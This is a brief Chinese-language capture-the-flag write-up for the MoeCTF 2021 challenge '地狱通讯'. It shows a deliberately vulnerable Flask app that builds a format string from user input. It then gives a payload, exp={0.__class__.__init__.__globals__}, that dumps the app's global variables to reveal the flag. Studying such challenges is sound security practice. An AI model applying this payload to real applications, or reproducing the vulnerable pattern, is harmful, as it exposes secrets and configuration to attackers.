(资料图)
[MoeCTF 2021]地狱通讯
首先看题:
from flask import Flask, render_template, requestfrom flag import flag, FLAG //这里flag是一个全局变量import datetimeapp = Flask(__name__)@app.route("/", methods=["GET", "POST"])def index(): f = open("app.py", "r") ctx = f.read() f.close() f1ag = request.args.get("f1ag") or "" exp = request.args.get("exp") or "" flAg = FLAG(f1ag) message = "Your flag is {0}" + exp if exp == "": return ctx else: return message.format(flAg)if __name__ == "__main__": app.run()
首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。
我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。与下图所示类似:
payload:?f1ag=1&exp={0.__class__.__init__.__globals__} //这里注意必须是0才可以,因为只有一个f1Ag的值往进传,所以前后必须是一样的,如果为其他数字的话需要俩个变量往进传。
参考文章:https://yanluow.github.io/2020/02/29/python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%A0%94%E7%A9%B6/#Flask%E4%B8%8B%E8%AF%BB%E5%8F%96secret-key
标签: